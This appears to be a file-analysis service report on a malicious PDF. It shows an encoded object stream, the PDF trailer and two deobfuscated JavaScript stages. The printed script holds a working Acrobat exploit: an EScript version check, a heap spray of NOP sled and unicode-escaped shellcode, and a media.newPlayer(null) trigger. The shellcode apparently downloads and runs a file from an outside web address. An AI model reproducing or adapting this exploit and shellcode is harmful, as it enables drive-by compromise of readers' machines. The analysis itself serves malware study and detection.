cc37scc33scc25scc37scc34scc25scc37scc32scc25scc32scc30scc25scc32scc42scc25scc32scc30scc25scc37scc33scc25scc36scc38scc25scc33scc42scc25scc37scc44scc25scc30scc41scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc37scc36scc25scc37scc36scc25scc37scc36scc25scc32scc30scc25scc33scc44scc25scc32scc30scc25scc32scc32scc25scc37scc30scc25scc34scc30scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc32scc30scc25scc33scc41scc25scc32scc30scc25scc37scc39scc25scc37scc39scc25scc37scc39scc25scc37scc39scc25scc33scc31scc25scc33scc31scc25scc33scc31scc25scc32scc32scc25scc33scc42scc25scc30scc41scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc37scc36scc25scc37scc36scc25scc37scc36scc25scc33scc32scc25scc32scc30scc25scc33scc44scc25scc32scc30scc25scc32scc32scc25scc37scc30scc25scc37scc32scc25scc36scc39scc25scc36scc45scc25scc37scc34scc25scc36scc34scc25scc32scc32scc25scc33scc42scc25scc30scc41scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc37scc36scc25scc37scc36scc25scc37scc36scc25scc33scc33scc25scc32scc30scc25scc33scc44scc25scc32scc30scc25scc32scc32scc25scc36scc45scc25scc36scc35scc25scc37scc37scc25scc35scc30scc25scc36scc43scc25scc36scc31scc25scc37scc39scc25scc36scc35scc25scc37scc32scc25scc32scc32scc25scc33scc42scc25scc30scc41scc25scc37scc36scc25scc36scc31scc25scc37scc32scc25scc32scc30scc25scc37scc36scc25scc37scc36scc25scc37scc36scc25scc33scc34scc25scc32scc30scc25scc33scc44scc25scc32scc30scc25scc32scc32scc25scc36scc44scc25scc36scc35scc25scc36scc34scc25scc36scc39scc25scc36scc31scc25scc32scc32scc25scc33scc42scc25scc30scc41
endstream
endobj xref
0 9
0000000000 65535 f
0000000015 00000 n
0000000100 00000 n
0000000413 00000 n
0000000148 00000 n
0000000207 00000 n
0000000313 00000 n
0000000730 00000 n
0000000475 00000 n
trailer

<<
/Root 1 0 R
/Size 9
>>
startxref
36221
%%EOF
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0xAC8 1256 bytes
SHA-256: c3df0b6d669953258363ab802ac0d32c63d5685d76eb2e0ad1f70f86b924f691
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var aPlugins = app.plugIns;
for (var i=0; i < aPlugins.length; i++){
if (aPlugins[i].name=="EScript"){var lv=aPlugins[i].version;}}
if ((lv>9)&&(lv<9.3)){var j=1400;} else if((lv>8.12)&&(lv<8.2)){var j=2900;}else{}
s=new Array();
var sh = "%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u672F%u7277%u6461%u6B64%u646B%u2E61%u6E69%u6E2F%u7765%u702F%u736F%u2E74%u6870%u3F70%u3D65%u2638%u0026";
var str="%u9090%u9090";
sh=unescape(sh);str=unescape(str);
while(str.length <= 0x8000) {str+=str;}
str=str.substr(0,0x8000 - sh.length);
for(i=0;i<j;i++) {s[i]=str + sh;}
var vvv = "p@111111111111111111111111 : yyyy111";
var vvv2 = "printd";
var vvv3 = "newPlayer";
var vvv4 = "media";
legacy_pdfkit_stage_001.js deobfuscated-js cross-stage annotation API aliases at offset 0x1E7 81 bytes
SHA-256: 42025b552c7960b53abcd8cd732b01c8d109eccfdfefc352b9826c4d5807d414
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* alias values recovered from decoded annotation stage */

Open this report in the interactive analyzer, or submit your own file for analysis.